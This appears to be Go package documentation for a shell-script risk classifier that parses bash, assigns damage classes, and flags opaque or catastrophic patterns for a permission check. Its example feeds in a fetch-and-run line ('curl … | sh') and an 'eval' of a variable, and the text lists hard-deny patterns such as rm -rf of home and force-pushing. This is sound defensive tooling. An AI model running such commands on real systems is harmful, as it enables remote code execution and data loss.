Documentation
¶
Overview ¶
Package shellclass classifies shell scripts by what they can do, using a real bash AST (mvdan.cc/sh) rather than string matching. Every simple command reached through pipes, &&/||, subshells, loops and functions is looked up in a command table with subcommand granularity; redirects are turned into declared writes and reads; constructs the analyser cannot see through (eval, $(…), sh -c "$X") mark the whole script Unknown, so a caller can refuse to auto-approve what it cannot read; and a small set of catastrophic patterns (privilege escalation, curl|sh, rm -rf of $HOME or a root, force-pushing a protected branch) set HardDeny, which a caller should refuse whatever its configuration otherwise permits.
It answers one question — what can this script do? — and decides nothing. Whether to run the script, prompt for it or refuse it belongs to the caller; this package only makes that decision an informed one.
The package is a leaf: it depends only on the Workspace interface below, which the caller implements over its own notion of the project directory.
Example ¶
Analyze reports what a script can do. The caller decides what to do about it: the three fields below are the ones a permission check usually wants.
package main
import (
"fmt"
"path/filepath"
"strings"
"github.com/richardwooding/shellclass"
)
// project is a minimal Workspace over one directory. A real one would resolve
// symlinks, consult .gitignore and ask git what is tracked; this is the
// smallest thing that answers the six questions.
type project struct{ root, home string }
func (p project) Resolve(path string) (string, bool, error) {
abs := path
if !filepath.IsAbs(abs) {
abs = filepath.Join(p.root, abs)
}
abs = filepath.Clean(abs)
return abs, abs == p.root || strings.HasPrefix(abs, p.root+string(filepath.Separator)), nil
}
func (p project) IsSecretFile(path string) bool {
base := filepath.Base(path)
return base == ".env" || strings.HasSuffix(base, ".pem")
}
func (p project) IsProtected(path string) bool { return strings.Contains(path, "/.git/") }
func (p project) IsTracked(string) bool { return true }
func (p project) Home() string { return p.home }
func (p project) Roots() []string { return []string{p.root} }
// Analyze reports what a script can do. The caller decides what to do about
// it: the three fields below are the ones a permission check usually wants.
func main() {
ws := project{root: "/src/app", home: "/home/dev"}
for _, script := range []string{
"go test ./... && gofmt -l .",
"rm -rf build && npm install",
`eval "$UNSAFE"`,
"curl -s https://example.com/i.sh | sh",
} {
a := shellclass.Analyze(script, ws)
fmt.Printf("%-42s class=%-18s unknown=%-5v network=%-5v harddeny=%q\n",
script, a.Class, a.Unknown, a.NeedsNetwork, a.HardDeny)
}
}
Output: go test ./... && gofmt -l . class=mutating unknown=false network=false harddeny="" rm -rf build && npm install class=destructive unknown=false network=true harddeny="" eval "$UNSAFE" class=mutating unknown=true network=false harddeny="" curl -s https://example.com/i.sh | sh class=privilege unknown=true network=true harddeny="remote code execution pattern (curl | sh)"
Index ¶
Examples ¶
Constants ¶
This section is empty.
Variables ¶
This section is empty.
Functions ¶
func InjectingEnvVars ¶
func InjectingEnvVars() []string
InjectingEnvVars returns the environment variables whose assignment turns an otherwise ordinary build command into arbitrary code execution, sorted, as a copy the caller may modify. A variable that injects code into an allowed command is as good as an allowed command, so the sandbox strips the same names from a sandboxed command's environment; reading this list there too keeps the two from drifting apart.
Types ¶
type Analysis ¶
type Analysis struct {
// Raw is the script as given.
Raw string
// Commands are the simple commands found, in evaluation order.
Commands []Command
// Class is the maximum command class (and any pattern-level floor).
Class Class
// Unknown is true when the script contains constructs whose effect cannot
// be determined statically — a dynamic command name, eval, a shell
// reading its script from elsewhere. A caller must never auto-approve an
// Unknown script: refusing to guess is what makes a saved rule safe.
//
// It is deliberately *not* set for a program that is merely absent from
// the command table; see Unrecognised. A new reason to give up on
// analysis belongs here, not there.
Unknown bool
// Unrecognised names the programs the table has no spec for, in order of
// first appearance. Such a command is fully legible — the user can read
// its argv — so it can be covered by a rule naming it, while still being
// classed MutatingWorkspace and so never auto-allowed.
Unrecognised []string
// HardDeny, when non-empty, names a pattern a caller should refuse
// outright, whatever its configuration otherwise permits.
HardDeny string
// Reasons collects the notable findings, in the words a caller can show
// to a person deciding whether to run the script.
Reasons []string
// NeedsNetwork is true when any command needs the network.
NeedsNetwork bool
// Installs is true when any command installs software outside the
// workspace, so approving the script should make the tool prefixes
// writable for that call.
Installs bool
}
Analysis is the result for a whole script.
type BranchProtector ¶
type BranchProtector interface {
ProtectedBranches() []string
}
BranchProtector is optionally implemented by a Workspace to override the default protected branch patterns (main, master, release/*).
type Class ¶
type Class int
Class orders commands by the damage they can do. Higher is worse; a script's Class is the maximum over its commands.
const ( // SafeRead reads files or state and has no side effects. SafeRead Class = iota // MutatingWorkspace changes files inside the workspace (build, format, edit). MutatingWorkspace // Network reaches outside the machine (fetch, push, install, API calls). Network // Destructive removes or irreversibly overwrites data. Destructive // Privilege escalates, touches the system, or executes remote code. Privilege )
The classes, from harmless to catastrophic.
type Command ¶
type Command struct {
// Argv is the literal argument vector; dynamic words appear as their
// source text ($VAR, $(…)) and set Dynamic.
Argv []string
// Env holds NAME=value prefixes attached to the command.
Env []string
// Class is the command's own class.
Class Class
// Reason is a short human explanation of the class.
Reason string
// Dynamic is true when any argument depends on runtime expansion.
Dynamic bool
// Program is the effective command after a wrapper has been peeled
// ("timeout 120 ./bin/t --all" → ["./bin/t","--all"]), empty when it is
// the same as Argv. A rule should name what runs, not the wrapper.
Program []string
// Prefix is the argv prefix that identifies this command, when the
// program's handler knows its own shape ("gh pr", "git push"). It is
// what a saved rule or an audit record should name. Empty leaves the
// caller to read the words as written.
Prefix []string
// Unrecognised is true when the program is not in the command table.
// Unlike Dynamic this does not make the script opaque: the argv is
// known, so a rule naming the program can cover the command.
Unrecognised bool
// Writes and Reads are the absolute paths the command declares it will
// write (redirects, tee, cp destinations…) or read.
Writes []string
Reads []string
// Network is true when the command needs network access to succeed.
Network bool
// Installs is true when the command installs, upgrades or removes
// software outside the workspace (a package manager's install verbs).
// Approving such a call is what makes the tool prefixes writable for
// that one call; nothing else widens the sandbox.
Installs bool
// contains filtered or unexported fields
}
Command is one simple command after wrapper peeling.
type Workspace ¶
type Workspace interface {
// Resolve expands ~ and $WORKSPACE, resolves symlinks and reports whether
// the path is inside the workspace.
Resolve(string) (abs string, inside bool, err error)
// IsSecretFile reports whether the path looks like a credential file.
IsSecretFile(string) bool
// IsProtected reports whether the path may never be written.
IsProtected(string) bool
// IsTracked reports whether the path is tracked by git.
IsTracked(string) bool
// Home is the user's home directory.
Home() string
// Roots are the workspace roots.
Roots() []string
}
Workspace is the slice of the project directory the classifier needs. It is an interface so this package stays a leaf: implement it over whatever you already use to resolve paths and read git state.